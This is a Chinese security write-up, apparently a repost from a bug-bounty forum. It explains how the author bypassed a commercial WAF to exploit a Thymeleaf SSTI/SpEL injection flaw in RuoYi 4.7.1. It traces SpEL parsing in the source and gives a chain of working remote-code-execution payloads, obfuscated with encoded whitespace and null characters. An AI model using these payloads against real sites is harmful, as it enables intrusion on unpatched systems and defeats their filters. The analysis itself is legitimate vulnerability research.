记一次实战之若依SSTI注入绕过玄某盾

技术
前言

前几天挖src,遇到4.7.1版本的若依系统https://github.com/yangzongzhuan/RuoYi-fast ,此版本存在 Thymeleaf SSTI注入漏洞,但网上流传的 payload被玄某盾拦截,漏洞无法利用,于是跟了下 Thymeleaf SSTI触发的源码, Thymeleaf SSTI底层触发 SpEL注入,分析 SpEL的解析与执行过程。最终成功绕过玄某盾,并获取SRC奖金。

正文

目标环境

在src真实目标下,在网上找了几个payload: fragment=${T%20(java.lang.Runtime).getRuntime().exec('command')}或者 fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x都会被玄某盾拦截,由于站点在维护中,因此只能使用下图来说明....

经过测试,玄某盾会对以下payload进行拦截:

  1. fragment=${}:检测了 ${},但使用 __${}__::.x,玄某盾不拦截
  2. fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
    关键点在于 T%20(java.lang.Runtime).getRuntime().exec('calc')如何绕过玄某盾,而这段内容又是 SpEL表达式。因此本文的重点在于 SpEL表达式的绕过。

Thymeleaf SSTI与SpEL的关系

若对 Thymeleaf SSTI不是很懂,可以先去了解下,传送门:

  1. https://github.com/thymeleaf/thymeleaf-spring/issues/256

  2. https://www.cnpanda.net/sec/1063.html
    由于本文讲述是如何绕过玄某盾,因此先直接给出原始payload:
    fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
    上述的 payload已经是对 Thymeleaf 3.0.12的绕过,
    而绕过的方式,也被运用于绕过玄某盾。
    Thymeleaf SSTI漏洞的底层实际出发的是SpEL表达式注入漏洞,在原始 payload中的 T%20(java.lang.Runtime).getRuntime().exec('calc')便是 SpEL表达式
    具体分析如下:
    org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#getExpression

picture.image

而后来到 org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#evaluate ,执行如下 getValue 方法

picture.image

上述几个红色标记处是很标准的 SpEL-API调用,来执行 SpEL表达式。我的绕过方式便是在 SpEL表达式解析及执行过程中发现的,具体如下。

测试环境

springboot 2.7.1+jdk8
关于SpEL的测试代码如下:

picture.image

解析过程中的发现

进入 org.springframework.expression.spel.standard.InternalSpelExpressionParser#doParseExpression方法。

picture.image

跟进 org.springframework.expression.spel.standard.Tokenizer#Tokenizer

可以看到在SpEL表达式最后添加了个空白字符,用来标记SpEL表达式的结束,

picture.image

接着跟进 org.springframework.expression.spel.standard.Tokenizer#process 方法

此方法整体逻辑:以字符为单位遍历表达式内容,若当前字符为 a-z 或者 A-Z ,则执行 lexIdentifier 方法,在 lexIdentifier 方法中,继续遍历表达式内容,直到遍历到的字符不是 a-z A-Z、0-9、_、$ 结束此次遍历,并将此次遍历的所有字符封装在 Token 对象中,最后存储 List<Token> tokens 中。否则走 else 分支

picture.image

else 分支中,若遇到 \u0000\r\n\t 、 ``不做任何处理,直接跳出 switch语句,并进入下一个字符的判断

picture.image

picture.image

\u0000\r\n\t 、 `` 5个字符的 url编码如下

picture.image

因此, T%20(java.lang.Runtime).getRuntime().exec('calc')可以修改为
T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')仍然生效
访问测试环境:http://localhost:9898/index?s=T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
成功弹出计算器

picture.image

执行过程中的发现

payloadSpEL表达式以 T开头, T对应的类为 org.springframework.expression.spel.ast.TypeReference
跟入 org.springframework.expression.spel.ast.TypeReference#getValueInternal方法,根据字符串 typeName获取对应的 Class对象实例

picture.image

继续跟入 org.springframework.expression.spel.ExpressionState#findType ,发现通过 SpEL 表达式上下文对象去寻找 typeName 对应的 Class 对象实例

picture.image

Thymeleaf中,此时默认的 SpEL上下文对象为 org.thymeleaf.spring5.expression.ThymeleafEvaluationContext对象实例,可看到继承 org.springframework.expression.spel.support.StandardEvaluationContext对象,而 StandardEvaluationContext支持 type references,具体可看官方文档:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions-evaluation-context

picture.image

接着跟入 org.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator,发现默认使用 StandardTypeLocator

picture.image

进入 org.springframework.expression.spel.support.StandardTypeLocator#StandardTypeLocator() 构造方法

picture.image

继续跟进 org.springframework.expression.spel.support.StandardTypeLocator#registerImport

发现 java.lang 被添加到 knownPackagePrefixes 集合中

picture.image

初始化 StandardTypeLocator 对象后,会调用 org.springframework.expression.spel.support.StandardTypeLocator#findType 方法,可以发现此方法在异常出现时进行了一次补救:当通过 typeName 没有找到对应的 Class 对象时,则拼接前缀 java.lang 后继续获取对应的 Class 对象。

picture.image

因此 T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')可以修改为
T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')仍然会生效。
http://localhost:9898/index?s=T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
成功弹出计算器

picture.image

返回目标环境

讲过上文的分析,SpEL的payload的演变如下:
T%20(java.lang.Runtime).getRuntime().exec('calc')
-> T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
-> T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
因此最终 Thymeleaf SSTI的payload如下:
__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x

最后

本文主要站在SpEL的角度,构造payload使 Thymeleaf SSTI注入绕过玄某盾waf,其实也可以说是 SpEL注入绕过玄某盾 waf,至于其他 waf产品,均未测试,有条件的同志们可以去测试一下~。

来源:先知(https://xz.aliyun.com/t/11509#toc-0)

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论